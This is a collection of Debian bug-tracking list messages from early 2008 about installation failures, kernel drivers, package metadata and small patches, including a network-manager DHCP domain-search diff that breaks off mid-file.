Package: installation-reports Version: 20070308 Severity: important I have attempted to install Debian testing using a CD created from debian-testing-i386-kde-CD-1.iso dated 2008-01-28 and the CD failed to boot. I was attempting the installation on an old Intel Classic R+ computer that uses an internal Yamaha SCSI CD writer model CRW8424S connected to an Adaptec ISA SCSI card (I think its a 1542CP). The CD writer is is the only device connected to the SCSI card. The computer has one hard drive connected to the on-board IDE interface, a 1.44MB 3 1/2 inch floppy and a 1.2MB 5 1/4 inch floppy. The hard drive is 1.6GB and contains EZ-Drive as the BIOS only supports drives upto 500MB approx. However, EZ-Drive only loads when booting from hard drive. During the boot the following messsages were output by the Adaptec BIOS Press A for SCSISelect(TM) Utility! SCSI ID #1 - Yamaha CRW8424S A BOOTABLE CD-ROM IS DETECTED IN YOUR CDROM DRIVE. The boot sections on your bootable CD-ROM are: 0. DEFAULT ENTRY YOUR CD-ROM DRIVE IS INSERTED AS - DRIVE D:(81h) BIOS Installed Successfully. Once the BIOS had finished I received the following messages ISOLINUX 3.51 2007-06-10 isolinux: Loading spec packet failed, trying to wing it. ... isolinux: Found something at drive = 81 isolinux: Failed to locate CD-ROM device; boot failed. See http://syslinux.zytor.com/sbm for more information. I also tried booting some other CD's I have knoppix 5.0.1 En behaved the same (it has ISOLINUX 3.11 2005-09-02). Debian Sarge 3.1r2 behaved the same (it has ISOLINUX 2.04 2003-04-16) The Microsoft Windows 98SE installation CD does boot. _ Helping your favorite cause is as easy as instant messaging. You IM, we give. http://im.live.com/Messenger/IM/Home/?source=text_hotmail_join
Bug#465327: virtualbox-ose: Maintainer name contains extraneous whitespace
Package: virtualbox-ose Version: 1.5.4-dfsg-4 Severity: minor Hi, virtualbox-ose's control info contains extra whitespace in the maintainer email: Maintainer: Debian Virtualbox Team [EMAIL PROTECTED] ^ Christoph -- signature.asc Description: Digital signature
Bug#465182: osmo: Segm faults right after start up
Hi Uwe, On Sat, 09 Feb 2008 09:08:01 +0100 Uwe Steinmann wrote: I can't even see a window. It dies before. Thanks for reporting this. The package seems to work fine on i386, so this might be ppc-specific. I don't have access to a ppc machine nor experience in debugging such potentially platform specific problems, but will contact upstream and do my best to find the source of the problem. Eike pgp2a5UgmIuyg.pgp Description: PGP signature
Bug#463405: gnome bugzilla
forwarded 463405 http://bugzilla.gnome.org/show_bug.cgi?id=447507 quit 2008/2/1, bd [EMAIL PROTECTED]: There is a bugzilla entry: http://bugzilla.gnome.org/show_bug.cgi?id=447507 Thanks for pointing this out. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465312: ipw3945-modules-2.6-686 depends on linux-latest-modules-2.6.22-3-686 not available in repositories
how about you do a *little* research before doing *big* fingerpointing. iwlwifi is merged and operational, see http://wiki.debian.org/iwlwifi http://wiki.debian.org/iwlwifi closing I already knew about the merging and was able to connect using iwlwifi at the time the report was wrote. What I was trying to point out is that since iwlwifi drivers are lacking many features (powermanagement, wifi led support...), wouldn't it be nice to have the choice between ipw3945 and iwlwifi with kernel 2.6.24 ? Regards. -- Apelete Seketeli [EMAIL PROTECTED]
Bug#465158: network-manager: Please add support for domain-search
tag 465158 + patch
thanks
Hi!
You wrote:
ISC DHCP 3.1 provides support for the domain-search option. This is the
correct way for a DHCP server to provide a domain search list. Wedging
multiple domains into the domain-name option is a horrible hack.
It seems, however, that that is what NetworkManager expects, and so how
it generates an /etc/resolv.conf. This behaviour should be changed in
light of dhclient 3.1, and should do something like this:
Attached is a patch that should fix this. It adds support for the
domain-search option of dhcp, and uses the logic you suggested to
determine what search domains to put in resolv.conf.
I have tested the patch only at my local configurationw, which is
n-m + dhcp3-client 3.1.0-2 (no resolvconf) on my laptop, and a pre-3.1
dhcp3-server on my server (current etch version), and for that config,
it seems to work fine. Testing for other configuration, particular with
a new, post-3.1, dhcpd is probably needed, though.
Please feel free to send the patch upstream, if you think it's stable
enough.
Best regards,
Bas.
--
+--+
| Bas Zoetekouw | Sweet day, so cool, so calm, so bright, |
|| The bridall of the earth and skie: |
| [EMAIL PROTECTED] | The dew shall weep thy fall tonight;|
+|For thou must die. |
+-+
diff -Naur network-manager-0.6.5/src/dhcp-manager/nm-dhcp-manager.c network-manager-0.6.5.ok/src/dhcp-manager/nm-dhcp-manager.c
--- network-manager-0.6.5/src/dhcp-manager/nm-dhcp-manager.c 2007-04-18 20:13:04.0 +0200
+++ network-manager-0.6.5.ok/src/dhcp-manager/nm-dhcp-manager.c 2008-02-11 20:05:53.667505000 +0100
@@ -472,6 +472,7 @@
guint32 num_ip4_nis_servers = 0;
char * hostname = NULL;
char * domain_names = NULL;
+ char * domain_searches = NULL;
char * nis_domain = NULL;
guint32 * ip4_nis_servers = NULL;
struct in_addr temp_addr;
@@ -518,6 +519,7 @@
get_ip4_string (manager, dev, host_name, hostname, TRUE);
get_ip4_uint32s (manager, dev, domain_name_servers, ip4_nameservers, num_ip4_nameservers, FALSE);
get_ip4_string (manager, dev, domain_name, domain_names, TRUE);
+ get_ip4_string (manager, dev, domain_search, domain_searches, TRUE);
get_ip4_string (manager, dev, nis_domain, nis_domain, TRUE);
get_ip4_uint32s (manager, dev, nis_servers, ip4_nis_servers, num_ip4_nis_servers, TRUE);
@@ -555,14 +557,27 @@
if (domain_names)
{
- char **searches = g_strsplit (domain_names, , 0);
+ char **domains = g_strsplit (domain_names, , 0);
char **s;
- for (s = searches; *s; s++)
+ for (s = domains; *s; s++)
{
nm_info ( domain name '%s', *s);
nm_ip4_config_add_domain (ip4_config, *s);
}
+ g_strfreev (domains);
+ }
+
+ if (domain_searches)
+ {
+ char **searches = g_strsplit (domain_searches, , 0);
+ char **s;
+
+ for (s = searches; *s; s++)
+ {
+ nm_info ( domain search '%s', *s);
+ nm_ip4_config_add_search (ip4_config, *s);
+ }
g_strfreev (searches);
}
diff -Naur network-manager-0.6.5/src/named-manager/nm-named-manager.c network-manager-0.6.5.ok/src/named-manager/nm-named-manager.c
--- network-manager-0.6.5/src/named-manager/nm-named-manager.c 2007-04-18 20:13:05.0 +0200
+++ network-manager-0.6.5.ok/src/named-manager/nm-named-manager.c 2008-02-11 21:17:48.084909000 +0100
@@ -319,7 +319,7 @@
static char *
compute_searches (NMNamedManager *mgr, NMIP4Config *config)
{
- int i, num_searches;
+ int i, num_searches, num_domains;
GString *str = NULL;
g_return_val_if_fail (mgr != NULL, g_strdup ());
@@ -328,14 +328,54 @@
if (!config)
return g_strdup ();
- num_searches = nm_ip4_config_get_num_domains (config);
- for (i = 0; i num_searches; i++)
- {
- if (!str)
- str = g_string_new (search);
+ num_searches = nm_ip4_config_get_num_searches (config);
+ num_domains = nm_ip4_config_get_num_domains (config);
+
+ /* ISC DHCP 3.1 provides support for the domain-search option. This is the
+ * correct way for a DHCP server to provide a domain search list. Wedging
+ * multiple domains into the domain-name option is a horrible hack.
+ *
+ * So, we handle it like this (as proposed by Andrew Pollock at
+ * http://bugs.debian.org/465158):
+ *
+ * - if the domain-search option is present in the data received via DHCP,
+ * use it in favour of the domain-name option for setting the search
+ * directive in /etc/resolv.conf
+ *
+ * - if the domain-name option is present in the data received via DHCP, use
+ * it to set the domain directive in /etc/resolv.conf
+ * (this is handled in compute_domain() below)
+ *
+ * - if only the domain-name option is present in the data received via DHCP
+ * (and domain-search is not), for backwards compatibility, set the search
+ * directive in /etc/resolv.conf to the specified domain names
+ */
- g_string_append_c
Bug#459281: Still present with recent gcj
severity 459281 important forwarded 459281 http://gcc.gnu.org/bugzilla/show_bug.cgi?id=35168 thanks On Mon, Feb 11, 2008 at 09:18:06PM +0100, Michael Koch wrote: On Mon, Feb 11, 2008 at 07:42:41PM +0100, Vincent Fourmond wrote: Hello, Michael Koch wrote: On Mon, Feb 04, 2008 at 10:19:26AM +0100, Vincent Fourmond wrote: For information, libjfreechart-java still does not work with gcj 4.3-20080202-1. I have tested 4.3-20080116-1 and 4.3-20080202-1 locally and both worked. The generated image is slightly different to the one generated by SUN but that was to be expected. I wonder if you missed the libgcj9-0-awt package in your installation? Unfortunately, not. I checked again, specifically including the awt library in the classpath (at run-time, does not seem to work at build-time), and I still get a garbled output. Are you using an amd64 architecture ? Could that be a 64bits-only problem ? I tried to reproduce on i386 when it worked. I re-tried on amd64 and now I can reproduce the bug report. I forwarded that bug to the upstream bugzilla now. Cheers, Michael -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#452367: [PATCH] Fix pm-is-supported
On Mon, 11 Feb 2008 00:41:33 -0500 Matthew William Cox [EMAIL PROTECTED] wrote: Hello, Stumbled across this bug tonight while trying to fix my pbook's hal suspend. Pursuant to Michael Biebl's Message #73, I cooked up the attached patch (also pasted inline for review): case $ARG in suspend) - grep -q mem /sys/power/state || exit 1 + grep -q mem /sys/power/state || + [ -c /dev/pmu -a -x /usr/sbin/s2ram ] || exit 1 ;; hibernate) grep -q disk /sys/power/state || exit 1 This checks that /dev/pmu exists and that we can run s2ram. Now, it doesn't check that the PMU actually is willing to suspend the machine, to do that, we need to tap the PMU_IOC_CAN_SLEEP ioctl on /dev/pmu. No way to do THAT from a shell script, but as far as I know, any machine with a PMU can suspend. That is not true. We could use `s2ram --test', that does the PMU_IOC_CAN_SLEEP test. Gnome-power-manager is willing and able to suspend my machine now. Yay! Very good. I hope that there will be an upload for pm-utils soonish... grts Tim signature.asc Description: PGP signature
Bug#465322: Please mention, in the description, the diffence with gnome-terminal
Package: powershell Version: 0.9-8+b1 Severity: minor Hello, thanks for packaging powershell. I saw it land in lenny, but from the description I could not see what is the difference with gnome-terminal. I suppose that is the most important question that the description should answer, for a package that describes itself as a terminal emulator for GTK/Gnome. Ciao, Enrico -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 2.6.22-3-amd64 (SMP w/2 CPU cores) Locale: LANG=it_IT.UTF-8, LC_CTYPE=it_IT.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461023: Patch for #461023
Tag 461023 + patch thanks Hi, please find an patch attached. If you want I can prepare an upload for you. Please let me know, then. If I don't hear anything from you (and don't see this bug fixed :-) I will prepare an upload as well. Best Regards, Patrick --- system-config-printer-0.7.78/print-applet.desktop.in 2007-12-15 21:55:04.0 +0100 +++ system-config-printer-0.7.78.patched/print-applet.desktop.in 2008-02-11 21:15:27.522792548 +0100 @@ -5,6 +5,6 @@ Exec=/usr/bin/system-config-printer-applet Terminal=false Type=Application -Icon=printer.png +Icon=printer X-KDE-autostart-after=panel StartupNotify=false
Bug#465308: openoffice.org: Latest and Greatest Very Slow
David Baron wrote: Latest and greatest of Sid is so slow as to be virtually unusable. Editing functions have considerable lag and a file save that would normaly Editing functions In calc? Works fine speed-wise. Do you mwan editing ewquations in the math editor? Does also work quite fast here. (Although there is some lag to render the new thing, yes, but nothing which is unberaable here) (clean i386 chroot on a amd64 box, Intel Core 2 Duo 2.16) be done in a fraction of a second took nearly a minute. 69% CPU as well. Well, that might also simply depend on the document. Or does it happen on all? Grüße/Regards, René -- .''`. René Engelhard -- Debian GNU/Linux Developer : :' : http://www.debian.org | http://people.debian.org/~rene/ `. `' [EMAIL PROTECTED] | GnuPG-Key ID: 248AEB73 `- Fingerprint: 41FA F208 28D4 7CA5 19BB 7AD9 F859 90B0 248A EB73 signature.asc Description: Digital signature
Bug#465262: libopenobex: long term mass bug filing for cross build support.
On Mon, 2008-02-11 at 22:44 +0100, Hendrik Sattler wrote: Am Montag 11 Februar 2008 schrieb Neil Williams: The cache file is handled externally. + --cache-file=$(DEB_HOST_GNU_TYPE).cache What is this about. See my explanation in #465294 Is this absolutely necessary for cross-build support? Yes. Certain variables cannot be determined by ./configure during a cross build because the m4 macros expect a test program to be compiled and executed. Not surprisingly, this fails in a cross build so the cached value (obtained from the native Debian buildd log for the --host architecture) is used. See also my follow-up to debian-devel. -- Neil Williams = http://www.data-freedom.org/ http://www.nosoftwarepatents.com/ http://www.linux.codehelp.co.uk/ signature.asc Description: This is a digitally signed message part
Bug#465339: debtorrent: torrent ids on the local status page don't match those on the dttracker page
Package: debtorrent Version: 0.1.6 Severity: minor A minor inconsistency between the local status page of debtorrent-client and the dttracker's page, making it a little harder to find the torrent on the dttracker stats. Taking an example from the client log file: 2008-02-11 22:08:27,463 MainThread DebTorrent.launchmanycore INFO Starting torrent: 08f84c6aa8dbeb8a2670ee4f87d2e73f5dc98082 identified by: 12a00aab1ed6e0fb800e4e233d63ca6bad3aa1d2 The local page lists this torrent as 08f8..., dttracker lists it as 12a0... -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (990, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24 (PREEMPT) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages debtorrent depends on: ii adduser 3.105 add and remove users and groups ii python2.4.4-6An interactive high-level object-o ii python-apt0.7.4+b1 Python interface to libapt-pkg ii python-debian 0.1.9 python modules to work with Debian ii python-support0.7.6 automated rebuilding support for p Versions of packages debtorrent recommends: ii apt-transport-debtorrent 0.2.0 an APT transport for communicating ii python-crypto2.0.1+dfsg1-2.1 cryptographic algorithms and proto -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#388453: via driver fails to handle interrupt
On Wed, 06 Feb 2008, Vincent Zweije wrote: Package: linux-image-2.6.24-1-686 Followup-For: Bug #388453 On Mon, Feb 04, 2008 at 10:56:49AM +0100, Maximilian Attems wrote: || ok thanks for the feedback, can you please install 2.6.24 from || unstable installs just fine in testing and see how it works out? Done. The bug appears to be there still. Reportbug asked for 2.6.24-2 but I didn't see that on packages.debian.org, so this is for 2.6.24-1. thanks for the quick feedback! did you try booting with the bootparam irqpoll? via boxes are missing upstream specs, thus.. you may want to sign and propagate http://www.petitiononline.com/vialinux/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465235: unqualified update-grub breaks install of older kernel packages
We had an issue last week where existing kernel packages were installing, but quietly failing to run update-grub. It turned out to be that the build environment for the kernels was an older distribution and the resulting kernel packages had a test -x $grubpath in the generated postinst. The new change by grub-installer to dequalify the update-grub path has the side effect of subtly breaking the expected behavior of older kernel packages, which people may have custom compiled for specific machines. Or in our case, the compile environment is the oldest distribution we support, and even though the packages are new, the software to build them is older. Rather than just document the issue, it would be nice to address it, either with continued generation of correct, fully-qualified paths in /etc/kernel-img.conf or by causing a configure failure when the older kernels are installed on a machine with a dequalified update-grub in kernel-img.conf. -Drake -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#192351: linux-wlan-ng: just drop the modutils file altogether
Package: linux-wlan-ng Followup-For: Bug #192351 I believe that with udevd and the latest 0.2.8+svn1850+dfsg-1 the /etc/modprobe.d/linux-wlan-ng file is not needed at all and can be dropped. Since the correct module is loaded automatically, the module alias is not used. For example, the modprobe wlan0 in the linux-wlan-ng scripts is run after the module is loaded, since its exexcution is triggered by udevd. The wlan_wext_write option is 1 by default now. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-486 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-wlan-ng depends on: ii libc6 2.7-6 GNU C Library: Shared libraries ii udev 0.114-2/dev/ and hotplug management daemo ii wireless-tools29-1 Tools for manipulating Linux Wirel Versions of packages linux-wlan-ng recommends: ii linux-wlan-ng-doc 0.2.8+svn1850+dfsg-1 documentation for wlan-ng -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#430774: file: Problem is one of magic strength, not detection
Package: file Version: 4.23-1 Followup-For: Bug #430774 The problem here is not the magic detection. As you can see from the cited document, DICOM files *must* contain the DICM magic at offset 128 in the file, and that's all that file tests for. The problem is that the two sample files mentioned match other magic which is considered to be of equal or greater strength. Maintainer: this bug should not have been merged with #407032, which is a different sort of bug. (In particular, #407032 is now fixed in file CVS, but this bug is not). -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (700, 'testing'), (601, 'unstable'), (600, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages file depends on: ii libc6 2.7-6 GNU C Library: Shared libraries ii libmagic1 4.23-1 File type determination library us file recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465338: network-manager: garbled names in list of networks
Package: network-manager Version: 0.7.0~svn3202-1 Severity: important This can be a problem with the card driver (prism2_usb/p80211) but the output from iwlist scan seems ok. The drop-down list (of nm-applet) with the available networks has just bogus names with many non-ascii characters (the squares with hex digits). The number of entries seems reasonable, but is not equal to the number I get from iwlist scan. After I connect to my own network (which is hidden and does not appear in the list first) it appears in the list correctly, among the other broken ones. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-486 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages network-manager depends on: ii adduser 3.105add and remove users and groups ii dbus1.1.2-1 simple interprocess messaging syst ii hal 0.5.10-5 Hardware Abstraction Layer ii ifupdown0.6.8high level tools to configure netw ii iproute 20080108-1 Professional tools to control the ii iputils-arp 3:20071127-1 Tool to send ICMP echo requests to ii libc6 2.7-6GNU C Library: Shared libraries ii libdbus-1-3 1.1.2-1 simple interprocess messaging syst ii libdbus-gli 0.74-1 simple interprocess messaging syst ii libglib2.0- 2.14.6-1 The GLib library of C routines ii libhal1 0.5.10-5 Hardware Abstraction Layer - share ii libiw29 29-1 Wireless tools - library ii libnl1 1.1-1Library for dealing with netlink s ii libnm-glib0 0.7.0~svn3202-1 network management framework (GLib ii libnm-util0 0.7.0~svn3202-1 network management framework (shar ii lsb-base3.1-24 Linux Standard Base 3.1 init scrip ii wpasupplica 0.6.2+git20080206.g8c0dad4-1 Client support for WPA and WPA2 (I Versions of packages network-manager recommends: ii network-manager-gnome 0.7.0~svn425-1 network management framework (GNOM -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464586: n/a, really
Thanks for the retitle. I re-sent the report after messing up my first submit, screwing up the topic, in turn. Catching all those reports in one place sounds like a good idea. An overview of how bad this is could help. But if you can not resolve those dependencies without one large package, that is the way to go. Leaving people with broken depends on purpose is not an option :/ That being said, what might help is to split them into smaller packages. Those would be more work to untangle, but it would probably result in smaller footprints. In that case, you would need to provide meta-packages that encompass the larger collections, though. Richard -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461912: Closing with explanation.
severity 461912 normal thanks Hello Alex: As you can see I've reassigned this bug and also the maintainer contacted me. In his opinion this problem is much of a FAQ with unclutter. The issue is that if you use the -grab option, then unclutter will grab the mouse pointer as commanded, hence other sofware relying on this will stop working. This cannot be considered as a security issue, since you commanded unclutter to act like that. In any case and since the explained is the expected unclutter behaviour I'm closing this bug as per this explanation and as requested by maintainer. Thanks. -- Raúl Sánchez Siles -Proud Debian user- Linux registered user #416098 signature.asc Description: This is a digitally signed message part.
Bug#463402: smbfs: Crash when trying to mount remote cifs share
is that reproducible with latest 2.6.24 sid amd64 kernel? what was the uname of the crashing kernel? also please try to reproduce it untainted without nvidia blob. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#375277: double console messages about card reader
hotplug is gone inbetween. can we have an update on that issue for uname 2.6.22 thanks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464523: linux-image-2.6.24-1-amd64: b43 needs patches for kernel 2.6.24
2.6.24.1 got pushed out with b43 stable queue patches, can we have a feedback on it? thanks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#459222: f-spot: No right click anymore
I've reopened this bug as I am still having the same problem with f-spot 0.4.1-4. I don't have the extension to which Julien Valroff referred in his last email (Develop in UFraw). As Julien had indicated he'd already fixed the bug by rebuilding, I've changed the submitter details for this bug to myself - hope that doesn't cause problems/tread on toes, as I'm not sure what the etiquette is for this! Thanks, John -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (900, 'testing'), (300, 'unstable'), (50, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/1 CPU core) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages f-spot depends on: ii beagle 0.3.3-1 indexing and search tool for your ii dbus1.1.2-1 simple interprocess messaging syst ii libart-2.0-22.3.20-1 Library of functions for 2D graphi ii libatk1.0-0 1.20.0-1 The ATK accessibility toolkit ii libc6 2.7-6GNU C Library: Shared libraries ii libcairo2 1.4.14-1 The Cairo 2D vector graphics libra ii libexif12 0.6.16-2.1 library to parse EXIF files ii libflickrnet2.1.5-cil 25277-6 Flickr.Net API Library ii libgconf2.0-cil 2.16.0-10CLI binding for GConf 2.16 ii libgl1-mesa-glx [libgl1]7.0.2-4 A free implementation of the OpenG ii libglade2.0-cil 2.10.2-5 CLI binding for the Glade librarie ii libglib2.0-02.14.5-2 The GLib library of C routines ii libglib2.0-cil 2.10.2-5 CLI binding for the GLib utility l ii libglu1-mesa [libglu1] 7.0.2-4 The OpenGL utility library (GLU) ii libgnome-vfs2.0-cil 2.16.0-10CLI binding for GnomeVFS 2.16 ii libgnome2.0-cil 2.16.0-10CLI binding for GNOME 2.16 ii libgnomeui-02.20.1.1-1 The GNOME 2 libraries (User Interf ii libgnomevfs2-0 1:2.20.1-1 GNOME Virtual File System (runtime ii libgphoto2-22.4.0-8 gphoto2 digital camera library ii libgphoto2-port02.4.0-8 gphoto2 digital camera port librar ii libgtk2.0-0 2.12.5-2 The GTK+ graphical user interface ii libgtk2.0-cil 2.10.2-5 CLI binding for the GTK+ toolkit 2 ii libgtkhtml2.0-cil 2.16.0-10CLI binding for GtkHTML 3.8 ii libjpeg62 6b-14The Independent JPEG Group's JPEG ii liblcms11.16-8 Color management library ii libmono-addins-gui0.2-cil 0.3-2GTK# frontend library for Mono.Add ii libmono-addins0.2-cil 0.3-2addin framework for extensible CLI ii libmono-corlib2.0-cil 1.2.6+dfsg-5 Mono core library (2.0) ii libmono-sharpzip2.84-cil1.2.6+dfsg-5 Mono SharpZipLib library ii libmono-sqlite2.0-cil 1.2.6+dfsg-5 Mono Sqlite library ii libmono-system-data2.0-cil 1.2.6+dfsg-5 Mono System.Data Library ii libmono-system-web2.0-cil 1.2.6+dfsg-5 Mono System.Web Library ii libmono-system2.0-cil 1.2.6+dfsg-5 Mono System libraries (2.0) ii libmono2.0-cil 1.2.6+dfsg-5 Mono libraries (2.0) ii libndesk-dbus-glib1.0-cil 0.4.1-1 CLI implementation of D-Bus (GLib ii libndesk-dbus1.0-cil0.6.0-1 CLI implementation of D-Bus ii libx11-62:1.0.3-7X11 client-side library ii libxcomposite1 1:0.4.0-1X11 Composite extension library ii mono-runtime1.2.6+dfsg-5 Mono runtime Versions of packages f-spot recommends: ii dcraw 8.80-1 decode raw digital camera images ii sqlite2.8.17-4 command line interface for SQLite ii sqlite3 3.4.2-2A command line interface for SQLit -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465320: CD doesn't boot (Isolinux errors) on 486 with Adaptec SCSI
On Mon 11 Feb, bruce robson wrote: Package: installation-reports Version: 20070308 Severity: important I have attempted to install Debian testing using a CD created from debian-testing-i386 -kde-CD-1.iso dated 2008-01-28 and the CD failed to boot. I was attempting the installation on an old Intel Classic R+ computer that uses an int ernal Yamaha SCSI CD writer model CRW8424S connected to an Adaptec ISA SCSI card (I th ink its a 1542CP). The CD writer is is the only device connected to the SCSI card. The computer has one hard drive connected to the on-board IDE interface, a 1.44MB 3 1/2 i nch floppy and a 1.2MB 5 1/4 inch floppy. The hard drive is 1.6GB and contains EZ-Dri ve as the BIOS only supports drives upto 500MB approx. However, EZ-Drive only loads w hen booting from hard drive. During the boot the following messsages were output by the Adaptec BIOS Press A for SCSISelect(TM) Utility! SCSI ID #1 - Yamaha CRW8424S A BOOTABLE CD-ROM IS DETECTED IN YOUR CDROM DRIVE. The boot sections on your bootable CD-ROM are: 0. DEFAULT ENTRY YOUR CD-ROM DRIVE IS INSERTED AS - DRIVE D:(81h) BIOS Installed Successfully. Once the BIOS had finished I received the following messages ISOLINUX 3.51 2007-06-10 isolinux: Loading spec packet failed, trying to wing it. ... isolinux: Found something at drive = 81 isolinux: Failed to locate CD-ROM device; boot failed. See http://syslinux.zytor.com/sbm for more information. I also tried booting some other CD's I have knoppix 5.0.1 En behaved the same (it has ISOLINUX 3.11 2005-09-02). Debian Sarge 3.1r2 behaved the same (it has ISOLINUX 2.04 2003-04-16) The Microsoft Windows 98SE installation CD does boot. _ It obviously can read the first part of the disc, it has read the first few words. I have often found that older disc drives give up if asked to use DMA, so try booting with NODMA (see also the Knoppix disc F2 or F3 from the first screen). Otherwise use floppies to start the installation. -- Chris Bell NEW alternative address: chrisbell at chrisbell.org.uk Microsoft sells you Windows ... Linux gives you the whole house. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464733: linux-image-2.6.24-1-686: ipw2200 not working after upgrading from 2.6.24-2 to 2.6.24-3.
On Fri, 08 Feb 2008, Nikolay A. Panov wrote: After upgrading from 2.6.24-2 to 2.6.24-3 the following errors appears if ipw2200 module has tryed to be loaded: is that reproducible with 2.6.24-4 ? also please don't use reportbug-ng it omits vital info, please stick to reportbug. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465312: ipw3945-modules-2.6-686 depends on linux-latest-modules-2.6.22-3-686 not available in repositories
On Mon, Feb 11, 2008 at 09:36:07PM +0100, Apelete Seketeli wrote: I already knew about the merging and was able to connect using iwlwifi at the time the report was wrote. What I was trying to point out is that since iwlwifi drivers are lacking many features (powermanagement, wifi led support...), wouldn't it be nice to have the choice between ipw3945 and iwlwifi with kernel 2.6.24 ? no ipw3945 is evil and dead, no way we gona support that for Lenny. if you need amd64 or i386 2.6.25-rc1 trunk snapshots holler. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464796: ia32-libs: building i386 libraries
It looks like Goswin's been working on a similar approach: ia32-libs-tools. See http://lists.gag.com/pipermail/debian-ia32-libs/2008-February/000362.html I'll add some comments comparing both techniques. My idea was to make some kind of extra section/branch/whatever in a repository. For example, in my local repository I build amd64 packages from downloaded i386 ones. A multiarch repository (ftp.debian.org) would use packages from the local filesystem. There's no need to create source packages therefore. Another topic's the maintainer's involvement. I think they should be left out. It's difficult enough to maintain a package, more if they must consider multiarch support and specially if they don't have access to the arch in question. When using several packages (instead of ia32-libs) the problem is reduced to dealing with dependencies, many of them easily automated. This could be handled by ia32-libs maintainers. Of course, the package maintainer may know the best (multiarch) dependency relationships. The overall point is to be as unobstructive as possible. The only changes would be in i386-only applications, that would use alternative development libraries. Goswin's using the ia32- prefix while I use the -i386 suffix (as in libc6-i386). The latter's been helpful during development (version/section/naming comparisons). In my scheme, dependencies on native packages are only made when file conflicts would occur. This happens a lot in development libraries. The goal again is to be less obstructive. Besides, 32-bit libraries should be able to be installed independently; they run independently. Regarding my scripts, they aren't as efficient as I'd like but they get their job done. I could deploy the repository right now if I had the bandwidth (and signed the files). Supporting the applications I mentioned before means ~29MB, 146 packages. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#20471: Bug#464907: dpkg seems not to check for broken versioned dependencies when upgrading
